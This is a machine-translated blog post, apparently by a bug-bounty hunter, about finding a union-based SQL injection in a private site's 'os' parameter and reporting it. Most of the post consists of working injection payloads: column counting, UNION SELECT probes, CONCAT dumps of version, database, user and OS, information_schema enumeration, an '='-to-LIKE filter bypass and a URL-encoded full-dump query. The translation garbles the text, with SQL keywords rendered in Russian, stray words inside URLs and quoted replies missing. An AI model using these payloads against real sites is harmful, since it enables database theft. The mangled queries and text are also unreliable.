Всем привет,

Это моя первая запись в блоге, и я очень рад поделиться ею. Несколько дней назад я тестировал частный сайт и использовал имя сайта, например, site.com.

Компания предоставляет услуги через ip адрес. Я не знаю подробностей об их услугах. Я просто проверяю ошибки своим обычным способом тестирования в их пользовательской панели.

Во время тестирования я обнаружил некоторые проблемы, такие как кликджекинг, открытое перенаправление и xss.

После того, как они сообщили о нескольких ошибках по почте, спросите их о процессе обновления, они сказали:

Потом я спросил их о щедрости.
Они сказали:

Я был разочарован их ответом. Я подумал, может быть, они рассматривают проблемы с xss. Но они не принимают никаких ошибок без SQL-инъекции. :(

За это время они уже исправили проблемы. Но тогда я был в отпуске и провел время без компьютера. Так что сейчас я не могу проверить ни одну SQL-инъекцию. Я был разочарован, но мой разум думал, что должен быть смысл сделать sqli.

Через несколько дней я возвращаю свою работу и начинаю находить все конечные точки.

Итак, для поиска каких-либо параметров я обычно использовал auckentix. Я не люблю пользоваться какими-либо инструментами, но иногда это помогает. Я просто начинаю искать множество параметров, но ни один из них не уязвим. Наконец, я нашел параметр, уязвимый для внедрения на основе объединения. Я был доволен, но не нашел ни одного уязвимого столбца. Тем временем я обнаружил еще один параметр, например https://site.com/ress/xx-list/os-detail?os=xxxxxxxxx. Этот параметр также уязвим для sqli.

Затем попробуйте все мои уловки по обучению SQL-инъекциям.

Сначала я исправляю запрос в обычном процессе. Я пытаюсь использовать на основе объединения
https://site.com/xxxxx/xxxx-list/os-detail?os=xxxxx'--+ (запрос исправлен)
https: / /site.com/ «ввкхххх душ /xxxx-list/os-detail?os=xxxxx '» упорядочить по 1 - + (ок)
https://site.com/ фактически «xxxxx / xxxx-list / os-detail? os = xxxxx 'упорядочить по 15 - + (ошибка)
https://site.com/ фактически «xxxxxx фактически /xxxx-list/os-detail?os = xxxxx '»упорядочить по 11 - + (ок)

там 11 столбцов :) В предыдущей конечной точке было 14 столбцов, но не было уязвимого столбца.

https://site.com/ прост «xxxxx /xxxx-list/os-detail?os=xxxxx '» + ОБЪЕДИНЕНИЕ (ВЫБРАТЬ (1), (2), (3), (4) , (5), (6), (7), (8), (9), (10), (11)) - +

Получил уязвимое место. Уязвимая колонна составила 2,3,4,8. Затем я пытаюсь напечатать БД, версию, ОС, порт и все остальное на первой странице. Теперь это легкая задача сделать другие части.

https://site.com/ xxxxx cre/xxxx-list/os-detail?os=-xxxxx Union Select 1, Concat (0x3c666f6e7420636f6c6f723d7265642073697a653d343e, Введено dipu , 0x3c62723e, версия: , @ @ version, 0x3c62723e, 'DB:', database (), 0x3c62723e, 'User:', user (), 0x3c62723e, 'OS:', @@ VERSION_COMPILE_OS, 0x3c62723e, 'SSL:', @@ HAVE_OPENSSL, 0x3c62723e, ' Порт: ', @@ PORT), 3,4,5,6,7,8,9,10,11 - +

Затем я пытаюсь распечатать схему таблиц,

https://site.com/ru «xxx /xxxx-list/os-detail?os-xxxxx '» Union Select 1, Concat (0x3c666f6e7420636f6c6f723d7265642073697a653d343e,' Injected by dipu ', 0x3c62723e,' версия : ', @@ version, 0x3c62723e,' DB: ', database (), 0x3c62723e,' User: ', user (), 0x3c62723e,' OS: ', @@ VERSION_COMPILE_OS, 0x3c62723e,' SSL: ', @@ HAVE_OPENSSL , 0x3c62723e, 'Port:', @@ PORT), (выберите Group_Concat (0x3c62723e, table_name) из information_schema.tables, где table_schema), 4,5,6,7,8,9,10,11 - +

Схема таблиц распечатана.

https://site.com/ru «xxx /xxxx-list/os-detail?os-xxxxx '» Union Select 1, Concat (0x3c666f6e7420636f6c6f723d7265642073697a653d343e,' Injected by dipu ', 0x3c62723e,' версия : ', @@ version, 0x3c62723e,' DB: ', database (), 0x3c62723e,' User: ', user (), 0x3c62723e,' OS: ', @@ VERSION_COMPILE_OS, 0x3c62723e,' SSL: ', @@ HAVE_OPENSSL , 0x3c62723e, 'Port:', @@ PORT), (выберите Group_Concat (0x3c62723e, table_name, 0x3a3a, column_name) из information_schema.columns, где table_schema = database ()), 4,5,6,7,8,9,10 , 11 - +

Но у меня возникла проблема с печатью полной таблицы с помощью запроса union select.
(выберите Group_Concat (0x3c62723e, table_name, 0x3a3a, column_name) из information_schema.columns, где table_schema = база данных ())

проблема заключалась в «=». Я вспомнил, есть способ обойти это равноправное пение. Просто обойдите «=» заменой на лайк
(выберите Group_Concat (0x3c62723e, table_name, 0x3a3a, column_name) из information_schema.columns, где table_schema like database () )

Затем была напечатана полная таблица.

Тогда сделай диос. Но диос не работает. дзен, макман, шарик но диос работали. Я просто закодировал запрос и распечатал всю таблицу со столбцами. Я был шокирован, увидев эту информацию. : D Одним словом могу сказать, все было.

Полный запрос с dios,

https://site.com/xxxx/xxx-list/os-detail?os=-xxxxx »Union Select 1, Concat (0x3c666f6e7420636f6c6f723d7265642073697a653d323e, 'Injected by dipu', 0x3c62723e, 'version:', @ @ version, 0x3c62723e, 'DB:', database (), 0x3c62723e, 'User:', user (), 0x3c62723e, 'OS:', @@ VERSION_COMPILE_OS, 0x3c62723e, 'SSL:', @@ HAVE_OPENSSL, 0x3c62723e, ' Порт: ', @@ PORT), 3,4,5,6,7,8,% 28% 53% 65% 6c% 65% 63% 74% 20% 65% 78% 70% 6f% 72% 74% 5f% 73% 65% 74% 28% 35% 2c% 40% 3a% 3d% 30% 2c% 28% 73% 65% 6c% 65% 63% 74% 20% 63% 6f% 75% 6e% 74% 28% 2a% 29% 66% 72% 6f% 6d% 28% 69% 6e% 66% 6f% 72% 6d% 61% 74% 69% 6f% 6e% 5f% 73% 63% 68% 65% 6d% 61% 2e% 63% 6f% 6c% 75% 6d% 6e% 73% 29% 77% 68% 65% 72% 65% 40% 3a% 3d% 65% 78% 70% 6f% 72% 74% 5f% 73% 65% 74% 28% 35% 2c% 65% 78% 70% 6f% 72% 74% 5f% 73% 65% 74% 28% 35% 2c% 40% 2c% 74% 61% 62% 6c% 65% 5f% 6e% 61% 6d% 65% 2c% 30% 78% 33% 63% 36% 63% 36% 39% 33% 65% 2c% 32% 29% 2c% 63% 6f% 6c% 75% 6d% 6e% 5f% 6e% 61% 6d% 65% 2c% 30% 78% 61% 33% 61% 2c% 32% 29% 29% 2c% 40% 2c% 32% 29% 29,10,11 - +

Я сообщил о них, и они так быстро ответили, что отключили сайт и сказали:

Обычно я не проверяю sqli на больших сайтах, потому что его трудно найти. Но эта находка вдохновляет меня делать больше в этом направлении. Это правда, если они не спрашивают о sqli, который я не пробовал. : 3

Надеюсь, вам понравится моя первая статья.

Извините за мои ошибки и плохой английский.

Спасибо за прочтение. :)